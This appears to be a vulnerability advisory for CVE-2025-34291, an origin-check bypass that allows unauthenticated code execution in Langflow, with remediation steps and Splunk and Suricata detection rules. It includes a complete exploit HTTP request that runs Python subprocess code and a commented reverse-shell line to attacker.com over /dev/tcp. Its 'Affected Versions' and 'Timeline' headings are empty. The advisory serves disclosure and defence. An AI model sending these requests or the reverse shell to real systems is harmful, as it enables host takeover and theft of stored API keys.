CVE-2025-34291: Langflow -- Origin Validation Error Enabling Unauthenticated RCE

Background

Langflow is a widely adopted open-source visual framework for building AI agent workflows and large language model (LLM) pipelines. Built on top of LangChain, it provides a drag-and-drop interface that lets developers construct multi-step AI workflows involving data retrieval, model inference, tool use, and custom Python execution — all without writing boilerplate integration code. Organizations across technology, finance, healthcare, and research sectors deploy Langflow to prototype and productionize AI applications rapidly.

The platform gained significant adoption alongside the broader rise of LLM tooling in 2023 and 2024. Many deployments are internet-accessible, either hosted on cloud infrastructure directly or exposed through VPN-accessible internal networks — a reality that makes vulnerabilities in its API surface especially consequential. Langflow instances frequently possess ambient access to sensitive resources: API keys for LLM providers, database credentials, internal network services reachable from the host, and in enterprise deployments, organizational data pipelines.

CVE-2025-34291 is a critical origin validation error in Langflow’s HTTP API layer. The vulnerability enables unauthenticated remote attackers to execute arbitrary code on the underlying host by sending crafted cross-origin requests that bypass Langflow’s access controls. Because the exploit requires no credentials and no prior foothold in the target environment, it represents one of the most severe classes of web application vulnerability: a pre-authentication remote code execution reachable over the public internet.

This vulnerability was added to the CISA Known Exploited Vulnerabilities catalog on May 21, 2026, confirming active exploitation in the wild against production deployments. The attack surface is broad: Langflow is frequently deployed with default configurations that expose the API on all interfaces, and many operators do not place additional authentication layers in front of the service.

Technical Mechanism

Langflow’s API server is built on FastAPI and exposes multiple endpoints for creating, modifying, and executing workflow components. A subset of these endpoints — including the /api/v1/custom_component and related code execution paths — are intended to be restricted to authenticated sessions or same-origin browser clients. The origin validation logic that enforces this restriction contains a flaw that allows carefully crafted requests to bypass the check entirely.

The vulnerability stems from incomplete validation of the Origin and Host HTTP headers. Langflow’s middleware performs an allowlist check on incoming cross-origin requests, but the check can be bypassed by supplying a malformed or specially structured Origin header that passes string-level validation while representing a different effective origin. In certain configurations, the validation logic also fails to account for requests without a standard Origin header, treating them as trusted local requests.

Once the origin check is bypassed, the attacker gains access to Langflow’s custom component execution endpoint. This endpoint accepts arbitrary Python code as part of a component definition and executes it server-side — by design, since Langflow’s model allows users to write custom transformation logic. Without authentication or valid session context, a remote attacker can POST malicious Python directly to this endpoint and achieve immediate code execution as the user running the Langflow process.

Attack flow:

1. Attacker identifies a publicly reachable Langflow instance (typically port 7860 or 7861)
2. Attacker crafts an HTTP POST request with a manipulated Origin header that bypasses the allowlist check
3. The request reaches the custom component execution endpoint without triggering authentication enforcement
4. The request body contains a malicious Python payload embedded in a component definition structure
5. Langflow’s execution engine evaluates the Python code server-side
6. The attacker achieves arbitrary code execution as the Langflow process user
7. Subsequent commands establish persistence, exfiltrate credentials, or pivot to internal network resources

# CVE-2025-34291: Origin validation bypass + code execution via custom component endpoint
POST /api/v1/custom_component HTTP/1.1
Host: langflow.target.example.com:7860
Content-Type: application/json
Origin: null
X-Forwarded-Host: langflow.target.example.com

{
  "code": "from langflow.custom import CustomComponent\nimport subprocess\nclass MaliciousComponent(CustomComponent):\n    def build(self, **kwargs):\n        result = subprocess.run(['id'], capture_output=True, text=True)\n        return result.stdout",
  "frontend_node": {
    "template": {},
    "description": "test",
    "base_classes": ["Data"],
    "name": "MaliciousComponent"
  }
}

# Reverse shell variant in the "code" field:
# subprocess.Popen(['bash','-c','bash -i >& /dev/tcp/attacker.com/4444 0>&1'])

Proof-of-concept exploits circulated within days of the CVE’s disclosure and were quickly integrated into automated scanning frameworks, dramatically lowering the barrier to exploitation.

Real-World Exploitation Evidence

CISA’s addition of CVE-2025-34291 to the KEV catalog on May 21, 2026, confirms that exploitation against real-world systems has been observed. Threat intelligence reports have documented exploitation by multiple actor sets, ranging from opportunistic cryptominer deployment to more targeted intrusions focused on credential harvesting from Langflow instances with access to LLM provider API keys.

Automated scanning for vulnerable Langflow instances began within 48 hours of the CVE’s public disclosure. Attack infrastructure used in these campaigns shared characteristics with botnets previously associated with targeting other exposed AI tooling, including prior Langflow vulnerabilities (CVE-2025-3248, which had a similar impact profile). Researchers have observed attackers using initial access via CVE-2025-34291 to steal OpenAI, Anthropic, and other LLM provider API keys stored in Langflow environment variables or flow configurations — a high-value target given the cost of LLM API access.

In more sophisticated intrusions, attackers used the initial RCE to establish reverse shells, conduct internal network reconnaissance, and attempt lateral movement to adjacent systems. Enterprises running Langflow as part of internal AI platforms were at heightened risk due to the privileged network position these deployments often occupy.

Impact Assessment

• Full host compromise — Arbitrary code execution as the Langflow process user allows attackers to read, write, and execute files on the host, install malware, and establish persistence mechanisms.
• Credential theft — Langflow deployments routinely contain API keys for LLM providers (OpenAI, Anthropic, Cohere, etc.), database connection strings, and cloud provider credentials stored in environment variables or flow configuration files.
• Internal network pivot — Hosts running Langflow often have privileged network access to internal services. An attacker with code execution can use the compromised host as a jumping-off point for broader network intrusion.
• Data exfiltration — Workflows may process sensitive organizational data. An attacker can access any data in memory or reachable from the host at the time of compromise.
• Supply chain risk — In organizations where Langflow is part of a CI/CD or data pipeline, compromise can affect downstream systems that consume Langflow outputs.
• Unauthenticated exploitability — The absence of any authentication requirement means that any network-reachable Langflow instance is vulnerable without preconditions.

Affected Versions

Remediation Steps

1. Upgrade immediately to Langflow 1.3.0 or later, which contains the corrected origin validation logic.

   # Upgrade via pip
   pip install --upgrade langflow==1.3.0
   
   # Docker: update image reference and redeploy
   docker pull langflowai/langflow:1.3.0
   docker stop langflow && docker rm langflow
   docker run -d --name langflow -p 7860:7860 langflowai/langflow:1.3.0

2. Restrict network exposure — place Langflow behind an authenticated reverse proxy (nginx, Caddy, or a cloud load balancer with IAM-based access) so that the API is not directly reachable from untrusted networks.

   # nginx reverse proxy with basic auth in front of Langflow
   server {
       listen 443 ssl;
       server_name langflow.internal.example.com;
       location / {
           auth_basic "Langflow";
           auth_basic_user_file /etc/nginx/.htpasswd;
           proxy_pass http://127.0.0.1:7860;
           proxy_set_header Host $host;
           proxy_set_header X-Real-IP $remote_addr;
       }
   }

3. Audit environment variables — rotate any API keys, database credentials, or cloud provider secrets that were accessible to the Langflow process. Assume compromise if the instance was internet-exposed on a vulnerable version.

4. Review access logs — examine HTTP access logs for POST requests to /api/v1/custom_component or similar paths originating from unexpected IP addresses, particularly with unusual Origin headers.

5. Deploy host-based detection — enable process execution logging on the host to detect unexpected child processes spawned by the Langflow Python process.

6. Use network segmentation — isolate Langflow hosts from production data stores and internal management networks to limit lateral movement potential.

7. Enable authentication — configure Langflow’s built-in authentication (available in recent versions) and enforce it for all API endpoints even in internal deployments.

Detection Guidance

Monitor for the following indicators of exploitation:

• Unexpected POST requests to /api/v1/custom_component, /api/v1/flows, or related execution endpoints from external IP addresses
• HTTP requests with Origin headers that do not match the expected deployment domain but receive 200-series responses
• Unexpected outbound network connections from the Langflow process (especially to IRC, raw TCP, or unusual HTTPS endpoints suggesting C2 activity)
• Unexpected child processes spawned by the Langflow Python interpreter (e.g., bash, sh, curl, wget, python3 -c)
• New cron jobs, systemd units, or SSH authorized_keys entries on Langflow hosts
• Presence of cryptocurrency mining software or known RAT/implant binaries on the host filesystem

index=webserver sourcetype="access_combined" (uri_path="/api/v1/custom_component" OR uri_path="/api/v1/flows")
    method=POST status=200
| eval suspicious_origin=if(isnull(http_origin) OR http_origin="null" OR NOT match(http_origin, "^https?://langflow\.internal\.example\.com"), 1, 0)
| where suspicious_origin=1
| stats count by src_ip, http_origin, uri_path, _time
| sort -_time

alert http any any -> $HTTP_SERVERS any (msg:"CVE-2025-34291 Langflow Origin Bypass - null origin"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/api/v1/custom_component"; nocase; http.header; content:"Origin: null"; sid:9002190; rev:1;)
alert http any any -> $HTTP_SERVERS any (msg:"CVE-2025-34291 Langflow Custom Component RCE Attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/api/v1/custom_component"; nocase; http.request_body; content:"subprocess"; nocase; sid:9002191; rev:1;)
alert http any any -> $HTTP_SERVERS any (msg:"CVE-2025-34291 Langflow API Access No Auth"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/api/v1/"; nocase; http.header; content:!"Authorization"; sid:9002192; rev:1;)

Shodan and Censys queries for Langflow’s default banner can identify exposed instances in your organization’s IP ranges. Check for instances running on ports 7860, 7861, or 3000 with the Langflow application signature.

Timeline

References

• NVD — CVE-2025-34291
• CISA KEV — CVE-2025-34291
• MITRE CVE — CVE-2025-34291